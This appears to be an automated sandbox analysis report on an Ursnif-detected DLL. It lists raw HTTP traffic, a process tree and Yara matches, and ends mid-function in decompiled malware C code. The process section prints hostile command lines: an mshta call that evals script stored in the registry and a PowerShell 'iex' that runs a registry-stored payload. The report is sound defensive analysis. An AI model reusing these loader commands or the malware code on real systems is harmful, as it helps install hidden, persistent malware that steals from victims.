Jul 12, 2021 11:50:43.569724083 CEST	5711	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 12 Jul 2021 09:50:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Content-Encoding: gzip Data Raw: 37 37 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 94 35 b2 a5 00 00 04 0f 44 80 5b b0 01 ee ee 64 b8 cb c3 e1 f4 fb 4f 30 55 d3 d3 93 c2 da 32 c4 6f 43 7e e9 28 4a 89 13 07 30 08 ee d0 56 82 2a ab 5f af d4 1c ee 93 36 91 31 c2 21 18 20 b6 44 3a ce 0b b2 42 e9 53 1e 88 07 2d b9 95 a4 28 de ca d5 97 6b 11 47 f4 f5 e6 07 11 fa 3a 50 c0 35 e9 f5 0d 3b 89 7a 50 ea 4c d3 a3 8f d0 e8 34 99 17 38 93 24 d3 90 03 23 85 f1 2f 90 7d 46 64 ea 15 16 e6 72 4e 82 21 82 3b cd ce a4 f9 95 3c 69 f6 3d 31 16 ce 63 64 38 15 7c 52 45 99 cf a8 8a 7e 7b 28 2d c1 0e ac df dc ef 84 bb aa e0 c9 dd 8d 6e 93 d4 9a 8e bb 9b 14 61 79 08 94 46 3a 6e 3f 79 da 27 fb 83 91 b1 36 83 2d 68 a7 46 27 db 76 08 cb 75 f1 63 a4 68 cf 4f f1 5e 7c 62 51 ea dd dc 2d 45 c7 02 ce a8 f4 98 58 64 ee e6 a2 9a 9a 5f ba 77 57 c8 20 9a 3c 4e ea b2 80 ef 01 23 de 04 2d 33 0a 71 8e a6 3a 65 7c 9f 48 72 d8 04 56 b6 21 f7 ec 81 a7 55 e3 af e4 54 93 06 83 e3 a1 d9 ef 0d 9a 6a dc 8e b6 8f 8f d5 98 f2 8d 86 b8 b5 3b 0c 45 3d 86 3e 0a 60 3f e3 3a 3b 85 84 f4 2a dd 7c ad 13 af 8a 28 33 aa e2 72 2b dc 2c 39 d1 8e 6c 40 12 5c b7 13 7c e4 68 44 ca 02 0c 6e da 93 93 da bc 7a d1 61 41 b5 31 98 56 13 bf 85 45 79 8a d1 83 59 98 b5 70 ae 61 2b fd bb f6 4b 61 b7 49 74 ea e3 d4 d4 2d 51 82 f1 57 b8 4c d7 cd ba 05 4f c3 90 11 e2 c5 7a 9b 80 99 8b 69 76 2d 29 06 28 c0 c6 c9 46 90 fc 8b 6c cb 67 9c 58 b3 a3 02 e9 97 e2 9a e0 57 52 cb 35 3f fa 8b d3 63 b2 1d 99 4f b7 21 a4 dc 4c 16 d3 37 46 cb bf c6 6d 1e 2f 93 58 e0 a8 ce 90 fe 70 ce ba d0 d2 46 64 e7 69 2c f8 a5 23 83 56 70 50 af 30 da 46 94 cd b7 e6 dd 1e da e1 b2 01 2b 23 5e e9 99 e6 19 ce 2c 05 dc 14 9b af 54 4e 84 4c 8b 87 66 7d 87 21 b0 6c f1 22 e6 fd ae 33 8d 17 e2 7d 4d d3 32 e3 b2 90 40 af b6 ec e1 6b c6 b3 64 97 31 a4 3c a8 27 f7 bc 54 26 09 2e 34 6d 6b 07 21 3b 61 e8 34 e4 ac 8f 61 42 1d e7 51 7c ac 9e 7b eb 33 e7 c8 e7 fa 5d 1e 96 e4 fb 6e 62 29 75 8c 15 1c c0 bf fb 8a 73 e5 58 b4 37 bd ce 87 c6 e8 bd a1 f3 58 97 24 fc 2f b3 aa ca 1f 74 a9 03 bd 70 fc 9b 8b 56 34 2c a3 1d 58 06 55 68 b9 d0 ab 0c cb 56 e3 38 d0 04 8e b6 04 14 6e 01 00 6e ae 1a 3b 0d 39 92 83 cd d0 1f 85 36 8e 15 b5 f9 6c 4f 5c 48 34 98 c2 c8 98 2f 55 85 17 f5 95 93 8e ef ae 7f 82 4f 0a 99 3e 42 40 66 8b 57 0c 12 2f e0 c9 c1 41 6a 56 16 53 65 40 06 d8 21 9c ba a9 97 8e 94 4c f7 2d 3c 16 30 bc e0 39 39 21 97 1a 78 6b 88 59 00 50 17 47 ca d7 77 f6 60 fe c3 df b4 90 9f 9e 3b e4 69 53 64 09 19 81 3f 38 15 26 4b 2f 10 a2 b6 54 07 27 e9 9e 03 a7 b4 f0 6a 28 cb 59 0e fb a5 e1 41 e0 74 d9 e8 93 71 de 23 0f 41 e4 22 4f 6c 22 d2 f9 fa 16 65 e0 86 34 4c 84 e3 f2 be e7 8e 1d 28 a0 d9 45 65 39 35 86 fb aa a5 a2 e9 01 21 96 19 4e b5 8a d7 20 24 0b ac 25 e4 60 b9 cd 7f 25 69 0b f8 a6 b9 92 86 61 53 f3 54 89 cd ae c0 b8 23 4b 69 c0 e1 52 82 ec c2 a4 81 1d 31 fa a7 04 82 af 94 da e0 16 0a 17 ed 9d d1 0c 0e 4e af 9b 64 d9 ef 83 d6 d6 82 ae 3b 94 a4 07 42 ec f5 f9 fd c9 60 bb 5d d5 98 59 d1 17 3a 93 0f 98 f5 e5 ae 40 9a bf 23 a6 8c cc 24 ea 4d 20 13 ee c3 30 c1 40 c0 b6 49 5d d4 e8 19 8c 71 91 63 77 68 02 ba 7e d6 77 7f f3 5e a2 a2 d8 df 7f 73 ee 37 92 5e 88 70 e4 b6 cd 0f d8 87 2a 2f 3d 61 3e 55 61 99 09 34 2d 29 56 12 Data Ascii: 7715D[dO0U2oC~(J0V_61! D:BS-(kG:P5;zPL48$#/}FdrN!;<i=1cd8\|RE~{(-nayF:n?y'6-hF'vuchO^\|bQ-EXd_wW <N#-3q:e\|HrV!UTj;E=>`?:;\|(3r+,9l@\\|hDnzaA1VEyYpa+KaIt-QWLOziv-)(FlgXWR5?cO!L7Fm/XpFdi,#VpP0F+#^,TNLf}!l"3}M2@kd1<'T&.4mk!;a4aBQ\|{3]nb)usX7X$/tpV4,XUhV8nn;96lO\H4/UO>B@fW/AjVSe@!L-<099!xkYPGw`;iSd?8&K/T'j(YAtq#A"Ol"e4L(Ee95!N $%`%iaST#KiR1Nd;B`]Y:@#$M 0@I]qcwh~w^s7^p*/=a>Ua4-)V
Jul 12, 2021 11:50:43.569760084 CEST	5712	IN	Data Raw: 91 ec c7 b2 65 40 69 6c 34 d4 ca f9 98 9f 47 7a 3e 9b c5 12 de 77 d8 77 e7 c9 2f 27 d3 31 de 4c c1 32 8d 98 76 12 a9 f6 e9 b2 a0 dd fb c9 7c 80 06 25 30 bd 1b 05 9f b7 4c 95 69 03 ac 56 77 86 2c 11 21 b1 ea c5 37 fa 0c e0 62 cf 85 dc f5 50 ad 88 Data Ascii: e@il4Gz>ww/'1L2v\|%0LiVw,!7bPH5K\+(Nh/\|E-\tSgudSMlAo}*?l;U#ShDEVVJ[ovTdHJX\|H{4EyO&vC2x-3`H"Bab}]Nms-

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 3296 Parent PID: 5508

General

Start time:	11:47:56
Start date:	12/07/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll'
Imagebase:	0xa80000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 2696 Parent PID: 3296

General

Start time:	11:47:57
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3416 Parent PID: 3296

General

Start time:	11:47:57
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Busysection
Imagebase:	0xe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1304 Parent PID: 2696

General

Start time:	11:47:57
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1
Imagebase:	0xe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1808 Parent PID: 3296

General

Start time:	11:48:01
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Dealthis
Imagebase:	0xe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5964 Parent PID: 3296

General

Start time:	11:48:06
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Sing
Imagebase:	0xe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5796 Parent PID: 3296

General

Start time:	11:48:14
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Teethshould
Imagebase:	0xe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5160 Parent PID: 3416

General

Start time:	11:49:29
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 648
Imagebase:	0x60000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 64 Parent PID: 3416

General

Start time:	11:49:30
Start date:	12/07/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 656
Imagebase:	0x60000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 996 Parent PID: 792

General

Start time:	11:50:32
Start date:	12/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff7e1330000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 6116 Parent PID: 996

General

Start time:	11:50:33
Start date:	12/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17410 /prefetch:2
Imagebase:	0x9f0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 2592 Parent PID: 996

General

Start time:	11:50:37
Start date:	12/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:82950 /prefetch:2
Imagebase:	0x9f0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 1264 Parent PID: 996

General

Start time:	11:50:41
Start date:	12/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17430 /prefetch:2
Imagebase:	0x9f0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mshta.exe PID: 6132 Parent PID: 3388

General

Start time:	11:50:48
Start date:	12/07/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Ff7t='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>'
Imagebase:	0x7ff667e30000
File size:	14848 bytes
MD5 hash:	197FC97C6A843BEBB445C1D9C58DCBDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 5004 Parent PID: 6132

General

Start time:	11:50:51
Start date:	12/07/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Imagebase:	0x7ff785e30000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 5064 Parent PID: 5004

General

Start time:	11:50:52
Start date:	12/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 3416 Parent PID: 3296 rundll32.exeCOMMON

Executed Functions

Function 6E167CA0, Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 514
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E6E167CA0(void* __ebx, void* __edi, intOrPtr __esi, void* __eflags) {
				int _v8;
				char _v16;
				signed int _v20;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v68;
				CHAR* _v72;
				char _v76;
				intOrPtr _v80;
				CHAR* _v84;
				char _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				signed int _v100;
				signed int _v104;
				intOrPtr _v108;
				signed int _v112;
				intOrPtr _v116;
				signed int _v120;
				signed int _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				void* __ebp;
				signed int _t211;
				signed int _t212;
				signed int _t214;
				signed int _t219;
				signed int _t229;
				signed int _t231;
				intOrPtr _t244;
				signed int _t248;
				intOrPtr _t253;
				signed int _t257;
				signed int _t259;
				intOrPtr _t266;
				signed int _t268;
				intOrPtr _t270;
				signed int _t280;
				signed int _t283;
				signed int _t288;
				signed int _t290;
				signed int _t294;
				signed int _t299;
				signed int _t301;
				signed int _t302;
				signed int _t308;
				signed int _t310;
				intOrPtr _t315;
				signed int _t324;
				signed int _t329;
				signed int _t331;
				signed int _t340;
				signed int _t343;
				signed int _t345;
				signed int _t354;
				signed int _t359;
				signed int _t369;
				signed int _t370;
				intOrPtr _t373;
				intOrPtr _t374;
				intOrPtr _t376;
				signed int _t380;
				signed int _t388;
				signed int _t390;
				signed int _t391;
				signed int _t397;
				signed int _t398;
				signed int _t404;
				signed int _t409;
				intOrPtr _t410;
				signed int _t413;
				signed int _t423;
				signed int _t428;
				signed int _t430;
				intOrPtr _t432;
				signed int _t436;
				intOrPtr _t437;
				intOrPtr _t443;
				intOrPtr _t445;
				signed int _t460;
				signed int _t464;
				signed int _t467;
				signed int _t476;
				signed int _t490;
				signed int _t496;
				signed int _t503;
				signed int _t504;
				signed int _t513;

				_t509 = __esi;
				_t508 = __edi;
				_t314 = __ebx;
				_push(0xffffffff);
				_push(E6E18FA58);
				_push( *[fs:0x0]);
				_t211 =  *0x6e1bb164; // 0x55e3ddbb
				_t212 = _t211 ^ _t513;
				_v20 = _t212;
				_push(__esi);
				_push(_t212);
				 *[fs:0x0] =  &_v16;
				_v60 = 0x14;
				_t214 =  *0x6e1bb0d8; // 0xf2b6e6
				_t315 =  *0x6e1bb004; // 0x36cd9a35
				_t5 = _t214 + 2; // 0x36cd9a37
				asm("sbb edx, eax");
				_v56 = _v56 - _t315 + _t5;
				 *0x6e1bb0d8 = _v48 + 5 - ( *0x6e1bb0dc & 0x0000ffff);
				_t409 = _v60;
				_t219 =  *0x6e1bb000; // 0x5a2
				_t13 = _t409 + 2; // 0x5a4
				_t410 =  *0x6e1bb004; // 0x36cd9a35
				 *0x6e1bb004 = _t410 - _t219 + _t13;
				_push(0x70b);
				_v84 = E6E173D43(__ebx, _t219 + _t13, _t410 - _t219 + _t13, __edi, __esi, __eflags);
				_v72 = _v84;
				_t322 = _v56 - 0x18 +  *0x6e1bb000;
				 *0x6e1bb0d8 = _v56 - 0x18 +  *0x6e1bb000;
				_push(0x6e19124c);
				_push(0); // executed
				E6E17A0DE(__ebx, _v56 - 0x18 +  *0x6e1bb000, _t410 - _t219 + _t13, __edi, __eflags); // executed
				_t412 = _v72;
				 *0x6e1bb004 = GetCurrentDirectoryA(0x70b, _v72);
				 *0x6e1bd304 = 3;
				while( *0x6e1bd304 < 0x18) {
					_v104 = _v48;
					_v100 = 0;
					_v64 = 8 << 0;
					_t412 = _v104;
					if(_v104 !=  *((intOrPtr*)(_v64 + 0x6e1bb050))) {
						L6:
						_t503 =  *0x6e1bb000; // 0x5a2
						_t404 =  *0x6e1bd304; // 0x18
						_t509 =  *((intOrPtr*)(0x6e1bb054 + _t404 * 8));
						 *0x6e1bb000 = E6E173D70(_t503, 0,  *((intOrPtr*)(0x6e1bb050 + _t404 * 8)),  *((intOrPtr*)(0x6e1bb054 + _t404 * 8)));
						_t504 =  *0x6e1bb000; // 0x5a2
						_v48 = _t504 + 5 -  *0x6e1bb004;
						_t308 =  *0x6e1bb000; // 0x5a2
						_t412 = 0x50;
						_v112 = _t308;
						_v108 = 0;
						_v68 = 8;
						_t322 = _v112;
						__eflags = _v112 -  *((intOrPtr*)(_v68 + 0x6e1bb050));
						if(__eflags != 0) {
							L9:
							goto L1;
						} else {
							_t412 = _v68;
							__eflags = _v108 -  *((intOrPtr*)(_v68 + 0x6e1bb054));
							if(__eflags != 0) {
								goto L9;
							} else {
							}
						}
					} else {
						_t322 = _v100;
						if(_v100 !=  *((intOrPtr*)(_v64 + 0x6e1bb054))) {
							goto L6;
						} else {
							L1:
							_t310 =  *0x6e1bd304; // 0x18
							 *0x6e1bd304 = _t310 + 1;
							continue;
						}
					}
					break;
				}
				_push(0x70b);
				_v88 = E6E173D43(_t314, _t322, _t412, _t508, _t509, __eflags);
				_v76 = _v88;
				_t413 =  *0x6e1bb0d8; // 0xf2b6e6
				_v56 = _t413 + 1 -  *0x6e1bb000;
				_v52 = 0;
				_t324 =  *0x6e1bb0d8; // 0xf2b6e6
				_v56 = _t324 + 1 -  *0x6e1bb000;
				_v52 = 0;
				__eflags =  *0x6E1BB048 +  *0x6ED68BBD - 0x2af;
				if( *0x6E1BB048 +  *0x6ED68BBD != 0x2af) {
					_t229 =  *0x6e1bb000; // 0x5a2
					 *0x6E1BB010 = _t229 -  *0x6e1bb0d8 * 0x2f;
					_t231 =  *0x6e1bb0d8; // 0xf2b6e6
					_t329 =  *0x6e1bb0d8; // 0xf2b6e6
					_t59 = _t231 - 0xb401; // 0xf202e5
					_t423 = _t329 + _t59 + _v48 + _v48;
					__eflags = _t423;
					_v48 = _t423;
				} else {
					_t397 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6e1bb0d8 = _v48 + _t397 - 0x18;
					_t398 =  *0x6e1bb0d8; // 0xf2b6e6
					_v48 = _t398 - 0x48 -  *0x6e1bb000 + _v48;
				}
				 *0x6e1bd304 = 3;
				while(1) {
					__eflags =  *0x6e1bd304 - 0x18;
					if( *0x6e1bd304 >= 0x18) {
						break;
					}
					_t496 =  *0x6e1bb0d8; // 0xf2b6e6
					__eflags = _t496 -  *0x6ED68BBD;
					if(_t496 !=  *0x6ED68BBD) {
						_t299 =  *0x6e1bd304; // 0x18
						_v48 = _v48 *  *(0x6e1bb010 + _t299 * 4);
						 *0x6e1bb0d8 = _v48 + 5 -  *0x6e1bb000;
						__eflags = _v48 -  *0x6E1BB038;
						if(_v48 !=  *0x6E1BB038) {
							goto L14;
						} else {
						}
					} else {
						L14:
						_t301 =  *0x6e1bd304; // 0x18
						_t302 = _t301 + 1;
						__eflags = _t302;
						 *0x6e1bd304 = _t302;
						continue;
					}
					break;
				}
				_v56 = E6E167650(_v48);
				_v52 = 0;
				 *0x6e1bb0d8 = _v56 + 5 -  *0x6e1bb004;
				GetEnvironmentVariableA("word ",  &_v76, 0x70b); // executed
				 *0x6e1bd304 = 3;
				while(1) {
					__eflags =  *0x6e1bd304 - 0x18;
					if( *0x6e1bd304 >= 0x18) {
						break;
					}
					_t294 =  *0x6e1bb0d8; // 0xf2b6e6
					__eflags = _t294 -  *0x6ED68BBD;
					if(_t294 !=  *0x6ED68BBD) {
						_t388 =  *0x6e1bd304; // 0x18
						_v60 = _v60 *  *(0x6e1bb010 + _t388 * 4);
						 *0x6e1bb0d8 = _v60 + 5 - _v48;
						__eflags = _v60 -  *((intOrPtr*)(0x6e1bb038));
						if(_v60 !=  *((intOrPtr*)(0x6e1bb038))) {
							goto L22;
						} else {
						}
					} else {
						L22:
						_t390 =  *0x6e1bd304; // 0x18
						_t391 = _t390 + 1;
						__eflags = _t391;
						 *0x6e1bd304 = _t391;
						continue;
					}
					break;
				}
				_t331 =  *0x6e1bb0d8; // 0xf2b6e6
				_v120 = _t331;
				_v116 = 0;
				__eflags = _v52 - _v116;
				if(__eflags >= 0) {
					if(__eflags > 0) {
						L32:
						 *0x6e1bb0d8 = _v56 + 5 - _v48;
						asm("sbb eax, edx");
						 *((intOrPtr*)(0x6e1bb058)) =  *0x6ED68BFD - _v48;
						_t490 = _v56 + 5 - _v48;
						__eflags = _t490;
						 *0x6e1bb0d8 = _t490;
					} else {
						__eflags = _v56 - _v120;
						if(_v56 >= _v120) {
							goto L32;
						}
					}
				}
				SetConsoleCP(0);
				E6E169CC0(_v72);
				_v8 = 0;
				_t428 =  *0x6e1bb000; // 0x5a2
				 *0x6e1bb0d8 = _t428 - _v48 * 0x2f;
				 *0x6e1bb0d8 = _v56 + 5 -  *0x6e1bb000;
				E6E16B2A0( &_v44, _v76);
				_t430 =  *0x6e1bb0d8; // 0xf2b6e6
				_t244 =  *0x6e1bb004; // 0x36cd9a35
				_t108 = _t430 + 2; // 0x36cd9a37
				asm("sbb ecx, edx");
				_v56 = _v56 - _t244 + _t108;
				_t432 =  *0x6e1bb004; // 0x36cd9a35
				 *0x6e1bb000 = E6E1671B0(_t432);
				_t248 =  *0x6e1bb0d8; // 0xf2b6e6
				asm("adc ecx, [ebp-0x30]");
				_v56 = _t248 - 0x48 -  *0x6e1bb004 + _v56;
				_v52 = 0;
				 *0x6e1bb004 = E6E1710F0( &_v44);
				 *0x6e1bb0d8 = _v56 - 0x18 +  *0x6e1bb004;
				_t253 =  *0x6e1bb004; // 0x36cd9a35
				_v48 = _t253 + 5 -  *0x6e1bb0d8;
				_t340 =  *0x6e1bb0d8; // 0xf2b6e6
				 *0x6e1bb000 = E6E167990(_t340);
				_t436 = _v48;
				_t257 =  *0x6e1bb0d8; // 0xf2b6e6
				_t121 = _t436 + 2; // 0xf2b6e8
				_t437 =  *0x6e1bb004; // 0x36cd9a35
				 *0x6e1bb004 = _t437 - _t257 + _t121;
				_v92 =  *((intOrPtr*)(0x6e1bb058));
				__eflags = _v92 - 1;
				if(_v92 == 1) {
					_t259 =  *0x6e1bb000; // 0x5a2
					_t343 =  *0x6e1bb0d8; // 0xf2b6e6
					_t126 = _t259 - 0xb401; // 0xf202e5
					_v48 = _t343 + _t126 + _v48 + _v48;
				} else {
					_t288 =  *0x6e1bb0d8; // 0xf2b6e6
					_t290 = _t288 + 5 -  *0x6e1bb000;
					__eflags = _t290;
					_v48 = _t290;
				}
				_t443 =  *0x6e1bb004; // 0x36cd9a35
				_v56 = _t443 -  *0x6e1bb0d8 * 0x2f;
				_v52 = 0;
				_t345 = _v48;
				_t445 =  *0x6e1bb004; // 0x36cd9a35
				_t135 = _t345 - 0x18; // 0x36cd9a1d
				_v56 = _t445 + _t135;
				_v52 = 0;
				asm("adc eax, [ecx+0x6e1bb054]"); // 0x41f637cd
				_v128 =  *0x6E1BB0C0 +  *((intOrPtr*)(0x6ed68bfd));
				_v124 =  *((intOrPtr*)(0x6e1bb0c4));
				__eflags = _v128 - 0x2af;
				if(_v128 != 0x2af) {
					L40:
					 *((intOrPtr*)(0x6e1bb058)) = _v60 - _v48 * 0x2f;
					 *0x6E1BB054 = 0;
					asm("adc edx, [ebp-0x30]");
					_t354 = _v48 + _v48 - 0xb401 + _v56 + _v56;
					__eflags = _t354;
					asm("adc edx, [ebp-0x30]");
					_v56 = _t354;
					_v52 = 0;
				} else {
					__eflags = _v124;
					if(_v124 != 0) {
						goto L40;
					} else {
						_v48 = _v56 - 0x18 + _v48;
						asm("adc eax, [ebp-0x30]");
						_v56 = _v48 - 0x48 - _v60 + _v56;
						_v52 = 0;
					}
				}
				_t266 =  *0x6e1bb004; // 0x36cd9a35
				 *0x6e1bb000 = E6E167650(_t266);
				__eflags =  *((intOrPtr*)(0x6e1bb054)) - 0x170c;
				if( *((intOrPtr*)(0x6e1bb054)) == 0x170c) {
					asm("adc eax, [ebp-0x30]");
					_v56 =  *0x6E1BB024 + _v56;
					_v52 = 0;
					_t380 = _v56 + 1 - _v56;
					__eflags = _t380;
					 *0x6e1bb0d8 = _t380;
				}
				_t268 =  *0x6e1bb0d8; // 0xf2b6e6
				 *0x6e1bb0d8 = _t268 - _v48 + 2 + _v56;
				_t270 =  *0x6e1bb004; // 0x36cd9a35
				_v80 = 0x28;
				_v136 = _t270;
				_v132 = 0;
				__eflags =  *((intOrPtr*)(_v80 + 0x6e1bb054)) - _v132;
				if(__eflags <= 0) {
					if(__eflags < 0) {
						L46:
						 *((intOrPtr*)(0x6e1bb058)) = _v48;
						 *0x6ED68C01 = 0;
						_t283 = _v48;
						_t373 =  *0x6e1bb004; // 0x36cd9a35
